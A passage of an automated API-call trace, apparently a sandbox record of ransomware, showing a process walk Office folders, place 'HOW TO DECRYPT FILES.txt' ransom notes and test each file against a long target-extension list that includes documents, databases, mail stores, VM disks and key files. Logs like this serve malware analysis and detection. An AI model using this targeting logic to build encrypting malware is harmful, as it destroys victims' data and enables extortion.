wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0064.686] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TAB_OFF.GIF") returned -1 [0064.686] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TAB_OFF.GIF") returned -1 [0064.686] lstrcmpiA (lpString1="", lpString2="TAB_OFF.GIF") returned -1 [0064.686] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF") returned="BUTTON.GIF" [0064.686] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\" [0064.686] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\") returned="" [0064.686] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW TO DECRYPT FILES.txt" [0064.686] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\how to decrypt files.txt")) returned 0x20 [0064.686] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\", lpString2="TAB_OFF.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" [0064.686] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.ems") returned 0 [0064.686] lstrlenA (lpString="*.ems") returned 5 [0064.686] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.db") returned 0 [0064.687] lstrlenA (lpString="*.db") returned 4 [0064.687] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.dbf") returned 0 [0064.687] lstrlenA (lpString="*.dbf") returned 5 [0064.687] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.myox") returned 0 [0064.687] lstrlenA (lpString="*.myox") returned 6 [0064.687] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.myo") returned 0 [0064.687] lstrlenA (lpString="*.myo") returned 5 [0064.687] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.qbw") returned 0 [0064.687] lstrlenA (lpString="*.qbw") returned 5 [0064.687] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.qbb") returned 0 [0064.687] lstrlenA (lpString="*.qbb") returned 5 [0064.687] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.qbm") returned 0 [0064.687] lstrlenA (lpString="*.qbm") returned 5 [0064.687] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.qbo") returned 0 [0064.687] lstrlenA (lpString="*.qbo") returned 5 [0064.687] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.qbx") returned 0 [0064.687] lstrlenA (lpString="*.qbx") returned 5 [0064.687] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.qba") returned 0 [0064.687] lstrlenA (lpString="*.qba") returned 5 [0064.687] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.qby") returned 0 [0064.687] lstrlenA (lpString="*.qby") returned 5 [0064.688] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.qbj") returned 0 [0064.688] lstrlenA (lpString="*.qbj") returned 5 [0064.688] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.ofx") returned 0 [0064.688] lstrlenA (lpString="*.ofx") returned 5 [0064.688] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.qif") returned 0 [0064.688] lstrlenA (lpString="*.qif") returned 5 [0064.688] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.mye") returned 0 [0064.688] lstrlenA (lpString="*.mye") returned 5 [0064.688] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.mbox") returned 0 [0064.688] lstrlenA (lpString="*.mbox") returned 6 [0064.688] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.eml") returned 0 [0064.688] lstrlenA (lpString="*.eml") returned 5 [0064.688] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.pst") returned 0 [0064.688] lstrlenA (lpString="*.pst") returned 5 [0064.688] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.ost") returned 0 [0064.688] lstrlenA (lpString="*.ost") returned 5 [0064.688] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.idx") returned 0 [0064.688] lstrlenA (lpString="*.idx") returned 5 [0064.688] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.dbx") returned 0 [0064.688] lstrlenA (lpString="*.dbx") returned 5 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.sql") returned 0 [0064.689] lstrlenA (lpString="*.sql") returned 5 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.mdb") returned 0 [0064.689] lstrlenA (lpString="*.mdb") returned 5 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.fdb") returned 0 [0064.689] lstrlenA (lpString="*.fdb") returned 5 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.wab") returned 0 [0064.689] lstrlenA (lpString="*.wab") returned 5 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.dat") returned 0 [0064.689] lstrlenA (lpString="*.dat") returned 5 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.txt") returned 0 [0064.689] lstrlenA (lpString="*.txt") returned 5 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.jpeg") returned 0 [0064.689] lstrlenA (lpString="*.jpeg") returned 6 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.jpg") returned 0 [0064.689] lstrlenA (lpString="*.jpg") returned 5 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.png") returned 0 [0064.689] lstrlenA (lpString="*.png") returned 5 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.php") returned 0 [0064.689] lstrlenA (lpString="*.php") returned 5 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.cs") returned 0 [0064.689] lstrlenA (lpString="*.cs") returned 4 [0064.689] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.cpp") returned 0 [0064.690] lstrlenA (lpString="*.cpp") returned 5 [0064.690] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.rar") returned 0 [0064.690] lstrlenA (lpString="*.rar") returned 5 [0064.690] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.zip") returned 0 [0064.690] lstrlenA (lpString="*.zip") returned 5 [0064.690] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.html") returned 0 [0064.690] lstrlenA (lpString="*.html") returned 6 [0064.690] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.htm") returned 0 [0064.690] lstrlenA (lpString="*.htm") returned 5 [0064.690] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.xlsx") returned 0 [0064.690] lstrlenA (lpString="*.xlsx") returned 6 [0064.690] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.xls") returned 0 [0064.690] lstrlenA (lpString="*.xls") returned 5 [0064.690] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.mp4") returned 0 [0064.691] lstrlenA (lpString="*.mp4") returned 5 [0064.691] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.ppt") returned 0 [0064.691] lstrlenA (lpString="*.ppt") returned 5 [0064.691] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.pptx") returned 0 [0064.691] lstrlenA (lpString="*.pptx") returned 6 [0064.691] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.doc") returned 0 [0064.691] lstrlenA (lpString="*.doc") returned 5 [0064.691] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.dot") returned 0 [0064.691] lstrlenA (lpString="*.dot") returned 5 [0064.691] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.docx") returned 0 [0064.691] lstrlenA (lpString="*.docx") returned 6 [0064.691] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.7z") returned 0 [0064.691] lstrlenA (lpString="*.7z") returned 4 [0064.691] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.tar") returned 0 [0064.691] lstrlenA (lpString="*.tar") returned 5 [0064.691] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.bz2") returned 0 [0064.691] lstrlenA (lpString="*.bz2") returned 5 [0064.691] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.gz") returned 0 [0064.691] lstrlenA (lpString="*.gz") returned 4 [0064.691] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.mkv") returned 0 [0064.692] lstrlenA (lpString="*.mkv") returned 5 [0064.692] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.eml") returned 0 [0064.692] lstrlenA (lpString="*.eml") returned 5 [0064.692] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.msg") returned 0 [0064.692] lstrlenA (lpString="*.msg") returned 5 [0064.692] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.edb") returned 0 [0064.692] lstrlenA (lpString="*.edb") returned 5 [0064.692] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.accdb") returned 0 [0064.692] lstrlenA (lpString="*.accdb") returned 7 [0064.692] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.odb") returned 0 [0064.692] lstrlenA (lpString="*.odb") returned 5 [0064.692] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.java") returned 0 [0064.692] lstrlenA (lpString="*.java") returned 6 [0064.692] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.asm") returned 0 [0064.692] lstrlenA (lpString="*.asm") returned 5 [0064.692] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.pfx") returned 0 [0064.692] lstrlenA (lpString="*.pfx") returned 5 [0064.692] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.pem") returned 0 [0064.692] lstrlenA (lpString="*.pem") returned 5 [0064.692] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.p12") returned 0 [0064.692] lstrlenA (lpString="*.p12") returned 5 [0064.692] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.gpg") returned 0 [0064.692] lstrlenA (lpString="*.gpg") returned 5 [0064.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.vsd") returned 0 [0064.693] lstrlenA (lpString="*.vsd") returned 5 [0064.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.odg") returned 0 [0064.693] lstrlenA (lpString="*.odg") returned 5 [0064.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.raw") returned 0 [0064.693] lstrlenA (lpString="*.raw") returned 5 [0064.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.nef") returned 0 [0064.693] lstrlenA (lpString="*.nef") returned 5 [0064.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.svg") returned 0 [0064.693] lstrlenA (lpString="*.svg") returned 5 [0064.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.psd") returned 0 [0064.693] lstrlenA (lpString="*.psd") returned 5 [0064.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.vmx") returned 0 [0064.693] lstrlenA (lpString="*.vmx") returned 5 [0064.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.vmdk") returned 0 [0064.693] lstrlenA (lpString="*.vmdk") returned 6 [0064.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.vdi") returned 0 [0064.693] lstrlenA (lpString="*.vdi") returned 5 [0064.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.lay6") returned 0 [0064.693] lstrlenA (lpString="*.lay6") returned 6 [0064.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.mpeg") returned 0 [0064.693] lstrlenA (lpString="*.mpeg") returned 6 [0064.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.djvu") returned 0 [0064.694] lstrlenA (lpString="*.djvu") returned 6 [0064.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.tiff") returned 0 [0064.694] lstrlenA (lpString="*.tiff") returned 6 [0064.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.backup") returned 0 [0064.694] lstrlenA (lpString="*.backup") returned 8 [0064.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.pdf") returned 0 [0064.694] lstrlenA (lpString="*.pdf") returned 5 [0064.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.cert") returned 0 [0064.694] lstrlenA (lpString="*.cert") returned 6 [0064.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.docm") returned 0 [0064.694] lstrlenA (lpString="*.docm") returned 6 [0064.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.xlsm") returned 0 [0064.694] lstrlenA (lpString="*.xlsm") returned 6 [0064.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.dwg") returned 0 [0064.694] lstrlenA (lpString="*.dwg") returned 5 [0064.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.nd") returned 0 [0064.694] lstrlenA (lpString="*.nd") returned 4 [0064.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.tlg") returned 0 [0064.694] lstrlenA (lpString="*.tlg") returned 5 [0064.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.lgb") returned 0 [0064.694] lstrlenA (lpString="*.lgb") returned 5 [0064.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.mov") returned 0 [0064.695] lstrlenA (lpString="*.mov") returned 5 [0064.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.xdw") returned 0 [0064.695] lstrlenA (lpString="*.xdw") returned 5 [0064.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.ods") returned 0 [0064.695] lstrlenA (lpString="*.ods") returned 5 [0064.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.wav") returned 0 [0064.695] lstrlenA (lpString="*.wav") returned 5 [0064.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.mp3") returned 0 [0064.695] lstrlenA (lpString="*.mp3") returned 5 [0064.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.aiff") returned 0 [0064.695] lstrlenA (lpString="*.aiff") returned 6 [0064.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.flac") returned 0 [0064.695] lstrlenA (lpString="*.flac") returned 6 [0064.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.m4a") returned 0 [0064.695] lstrlenA (lpString="*.m4a") returned 5 [0064.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", pszSpec="*.csv") returned 0 [0064.696] lstrlenA (lpString="*.csv") returned 5 [0064.696] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, 